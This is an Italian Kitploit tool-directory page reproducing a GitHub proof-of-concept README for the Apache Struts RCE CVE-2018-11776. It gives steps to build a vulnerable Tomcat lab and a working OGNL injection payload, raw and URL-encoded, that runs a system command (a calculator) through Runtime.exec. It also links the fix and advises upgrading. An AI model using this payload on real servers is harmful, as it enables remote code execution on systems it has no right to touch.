Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2018-11776 — Creazione di un ambiente vulnerabile e del PoC | Kitploit
Strumenti/GitHubGitHub/xfox64x/cve-2018-11776
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneSviluppo Payload
GitHubxfox64x/cve-2018-11776

CVE-2018-11776

Creazione di un ambiente vulnerabile e del PoC

Vedi Repository
1566 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2018-11776

Proof of Concept per l'exploit, così potevo valutare rapidamente quali tipi di protezioni e fix sono disponibili.

Originariamente trovata da Man Yue Mo, Semmle: https://semmle.com/news/apache-struts-CVE-2018-11776

Semmle aveva per un po' un video YouTube "Apache Struts RCE - CVE-2018-11776 - PoC Exploit Demo", ma credo che sia sparito o, almeno, non sia più collegato a Semmle: https://www.youtube.com/watch?v=5SDNX20SLJ0

Ho preso informazioni da quanto sopra e poi ho iniziato a guardare i commit del repo di struts: https://github.com/apache/struts/commit/6e87474f9ad0549f07dd2c37d50a9ccd0977c6e5

Sono troppo pigro per Docker o cavolate simili...

Configurazione e sfruttamento di un host vulnerabile

Scaricare l'ultima ISO di Ubuntu Desktop e creare una macchina virtuale.

http://releases.ubuntu.com/18.04.1/ubuntu-18.04.1-desktop-amd64.iso?_ga=2.265574989.317727484.1535056103-825490018.1535056103

Installare le dipendenze:

sudo apt-get update

sudo apt-get upgrade

sudo apt-get dist-upgrade

sudo apt-get install default-jdk vim net-tools

Configurare Tomcat:

mkdir ~/sources

cd ~/sources

wget http://mirrors.ocf.berkeley.edu/apache/tomcat/tomcat-7/v7.0.90/bin/apache-tomcat-7.0.90.tar.gz

tar xvzf apache-tomcat-7.0.90.tar.gz

sudo mv apache-tomcat-7.0.90 /opt/tomcat

Aggiornare bashrc con le variabili:

vim ~/.bashrc

export JAVA_HOME=/usr/lib/jvm/default-java

export CATALINA_HOME=/opt/tomcat

. ~/.bashrc

Aggiungere un admin alla gui di Tomcat:

sudo vim /opt/tomcat/conf/tomcat-users.xml

root@kitploit:~
<user username="username" password="password" roles="manager-gui,admin-gui" />

Scaricare uno Struts2 Showcase vulnerabile così abbiamo qualcosa su cui lavorare:

cd ~/sources

wget http://central.maven.org/maven2/org/apache/struts/struts2-showcase/2.3.14/struts2-showcase-2.3.14.war

Distribuire il file WAR tramite la gui di Tomcat:

$CATALINA_HOME/bin/shutdown.sh

$CATALINA_HOME/bin/startup.sh

http://127.0.0.1:8080/manager/html

Riavviare Tomcat e verificare che Struts2 Showcase sia disponibile:

$CATALINA_HOME/bin/shutdown.sh

$CATALINA_HOME/bin/startup.sh

http://127.0.0.1:8080/manager/html

Aggiungere un'azione di redirect vulnerabile senza namespace:

vim /opt/tomcat/webapps/struts2-showcase-2.3.14/WEB-INF/classes/struts.xml

root@kitploit:~
    <action name="help">
            <result type="redirectAction">
                    <param name="actionName">date.action</param>
            </result>
    </action>

date.action è già definito, quindi abbiamo semplicemente aggiunto un'altra azione di redirect che chiama date.action

Per impostazione predefinita, alwaysSelectFullNamespace dovrebbe essere impostato su True.

Riavviare Tomcat e dare un'occhiata alla pagina Struts2 Showcase:

$CATALINA_HOME/bin/shutdown.sh

$CATALINA_HOME/bin/startup.sh

http://127.0.0.1:8080/struts2-showcase-2.3.14/showcase.jsp

Creare un'espressione OGNL per fare cose. Facciamo quello che probabilmente ha fatto Semmle nel loro video YouTube:

%{(#_memberAccess['allowStaticMethodAccess'] = true).(#rt = @java.lang.Runtime@getRuntime()).(#rt.exec('gnome-calculator'))}

L'espressione OGNL deve essere codificata come URL e inserita prima dell'ultimo '/' nell'URL, colpendo la nostra help.action vulnerabile:

127.0.0.1:8080/struts2-showcase-2.3.14/<encoded-command-goes-here>/help.action

127.0.0.1:8080/struts2-showcase-2.3.14/%25%7B%28%23%5F%6D%65%6D%62%65%72%41%63%63%65%73%73%5B%27%61%6C%6C%6F%77%53%74%61%74%69%63%4D%65%74%68%6F%64%41%63%63%65%73%73%27%5D%20%3D%20%74%72%75%65%29%2E%28%23%72%74%20%3D%20%40%6A%61%76%61%2E%6C%61%6E%67%2E%52%75%6E%74%69%6D%65%40%67%65%74%52%75%6E%74%69%6D%65%28%29%29%2E%28%23%72%74%2E%65%78%65%63%28%27%67%6E%6F%6D%65%2D%63%61%6C%63%75%6C%61%74%6F%72%27%29%29%7D/help.action

Eseguendo sull'host Ubuntu vulnerabile, dovremmo vedere apparire una nuova istanza della calcolatrice.

Commit correlati che correggono il problema:

https://github.com/apache/struts/commit/6e87474f9ad0549f07dd2c37d50a9ccd0977c6e5

Considerazioni:

Un'altra implementazione estremamente specifica e vulnerabile di struts. La copertura mediatica di questa vulnerabilità ha fatto andare tutti nel panico, anche se solo i codici/configurazioni più sciatti sono davvero vulnerabili... Non riesco a pensare a un modo efficiente e furtivo per trovare in modo affidabile questa vulnerabilità e/o sfruttarla. La mia raccomandazione: basta aggiornare struts... (o smettere di usarlo)

Scarica lo strumento